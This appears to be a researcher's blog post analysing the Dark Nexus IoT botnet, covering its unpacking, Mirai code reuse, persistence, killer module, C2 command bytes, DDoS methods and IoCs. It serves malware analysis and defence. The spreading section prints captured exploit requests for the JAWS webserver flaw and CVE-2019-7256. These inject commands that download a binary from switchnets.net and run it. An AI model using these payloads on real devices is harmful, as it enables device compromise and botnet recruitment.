IoT is everywhere and while we do enjoy new technologies, cyber criminals also take advantage of them. Bitdefender[1] found a new emerging IoT Botnet Malware named Dark Nexus which they believe to be authored by greek.helios.
Researching IoT security is a hobby of mine and I was able to retrieve 2 variants of Dark Nexus. The corresponding SHA256
values can be found in the IoC chapter. Except of the persistence part, all chapters target the sample with the following SHA256
: 2d88b99087c32420f2782078ba008a7077c47e89e04844915071e807327ebab7
.
I am not covering everything about Dark Nexus in this blog post, if you are interested in certain parts of the malware you can message me on twitter and also read the white paper[2] published by Bitdefender.
1 – Unpacking DarkNexus
Dark Nexus comes statically linked with stripped symbols and no debug information embedded into it. Furthermore it is packed with a modified version of UPX
.
In order to decompress a binary, UPX
is dependent on finding the UPX!
magic header in the binary. This magic header was replaced by the author. By simply changing the custom header to the original header, we are able to unpack the sample.
2 – Reused Mirai code
Before I started to look at the disassembly, I was interested into how much of the mirai source code was reused in this version. So I decided to make a shallow check of what seems to be copied.
For this experiment I compiled a static mirai sample with the linaro toolchain[3] and started to diff with diaphora[4] against a non stripped Dark Nexus sample. I did not expect any useable results regarding code patterns, because I did not build the exact toolchain that was used to compile Dark Nexus. However, I did find matching function names, a good indicator of which functions might have been used from the original mirai source code. The following function names matched:
resolv_entries_free
killer_kill_by_port
resolv_lookup
checksum_tcpudp
checksum_generic
rand_next
rand_init
I might look deeper into that next time.
3 – Persistence
The white paper already mentioned that not every variant uses the same way to gain persistence on an IoT device. A version which is not packed with the custom UPX
packer tries to achieve it by removing the executable rights from tools which are used to turn off or reboot the system. Furthermore the crond
daemon is stopped and the iptables
are flushed.
The UPX
packed sample does not have any functionality to achieve persistence.
4 – Spreading
The sample infects other devices by either telnet bruteforcing or exploiting vulnerabilities. There are reports of different versions of this sample and the sample I analysed did not automate the brute force telnet scan.
While the possibility to infect devices via telnet exists, it is only triggered by receiving a command from its c2 server and also a list of ip addresses to bruteforce. The credentials are harcoded into the sample.
I identified 2 exploits to infect other machines:
- CVE-2019-7256[5]
- JAWS Webserver unauthenticated shell command execution[6]
## Incoming exploits on port 60001 (JAWS Websrv. vuln)
root@moon:~# nc -lp 60001
GET /shell?cd /tmp; busybox wget http://switchnets.net/unstable;curl http://switchnets.net/unstable;chmod 777 unstable;./unstable HTTP/1.1
User-Agent: dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)
Host: http://141.77.252.239
root@moon:~# nc -lp 60001
GET /shell?cd /tmp; busybox wget http://switchnets.net/unstable;curl http://switchnets.net/unstable;chmod 777 unstable;./unstable HTTP/1.1
User-Agent: dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)
Host: http://85.217.237.3
root@moon:~# nc -lp 60001
GET /shell?cd /tmp; busybox wget http://switchnets.net/unstable;curl http://switchnets.net/unstable;chmod 777 unstable;./unstable HTTP/1.1
User-Agent: dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)
Host: http://219.73.157.21
## Incoming exploits on port 80 (CVE-2019-7256)
root@moon:~# nc -lp 80
GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear.selfrep%60 HTTP/1.1
User-Agent: dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)
Host: http://4.29.97.62
The exploits are implemented in a function called add_new_mass_exploiter
and run in a subprocess invoked by a fork
system call. The ip addresses are generated randomly.
5 – Killer module
Dark Nexus also implements a killer module that is used to watch over all running tasks in a separate process. If the task seems suspicious, the process is killed. The sample’s own invoked processes are kept in a white list.
It adds values to certain patterns and keeps a “suspicious list”. If the corresponding value of a process in this list is greater or 100, it is killed.
These are the mentioned patterns as well as their corresponding suspicion values:
Checknumber | Action | Suspicion value |
1 | (deleted) in symbol link | 100 |
2 | in suspicious path | 90 |
3 | more than 250 fds open | 10 |
4 | cmdline starts with “./” | 20 |
5 | bot’s GID in group list | 50 |
6 | is upx and statically linked | 50 |
The sample I analysed seems to have a little difference in its suspicion values than the ones mentioned in the white paper.
Furthermore it keeps track of its own process ids and the ones that were already running before infection. New processes that are not in this list are killed too.
6 – C2 Protocol
Upon infection, the sample sends an initial message to the port 30047 of the c2 server. The message consists of at least the architecture the sample is compiled for. The variant I investigated also send a 2.5
numeric value in the same TCP
package which I would suspect is a version number. This would not match with Bitdefender’s investigations though, because their report states that the version I am investigating is 4.0
.
After the connection is initialised, the sample can accept a wide variety of commands:
Byte command | Action |
0xFE | Send ping |
0x9A | Stop execution |
0x69 | Add bruteforce target |
0x4B | Kill running attacks |
0x43 | Execute command |
0x50 | Sleep |
No byte | Parse packet, start DDoS attack |
The 0x50
command was not mentioned by Bitdefender but I found one in my version. I triggered the command via reimplementing the C2 protocol and believe that it is used for staying dormant for a time period. When triggered, the C2 communication is stopped too. This is just an assumption though.
If the execute_command
task is received, the second byte determines what action is taken.
So far 4 different functionalities were identified regarding the execute_command
:
- case 1 : Execute
/bin/sh [COMMAND]
as a new forked process - case 3 : Kill running forks
- case 7 : Reboot the system
- case 16 : Kill process by port
7 – Available attacks
This variant of Dark Nexus implements 6 different attack methods.
Bitdefender mentioned that these attack techniques are all common for botnets except the browser_http_req
function.
The routine is implemented highly configurable, probably with the goal to overcome common firewalls and anti DDoS techniques. Through the whole function, a random HTTP header is set up. This way each sent HTTP request looks different, making it harder for defense mechanisms to detect a DDoS attack.
8 – IoCs
- sha256 of upx packed sample :
2d88b99087c32420f2782078ba008a7077c47e89e04844915071e807327ebab7
- sha256 of not upx packed sample :
661ca273e17479dbfbb75c44eb211cda9c4d2ebe91cd42a3d9496b9f966baf1e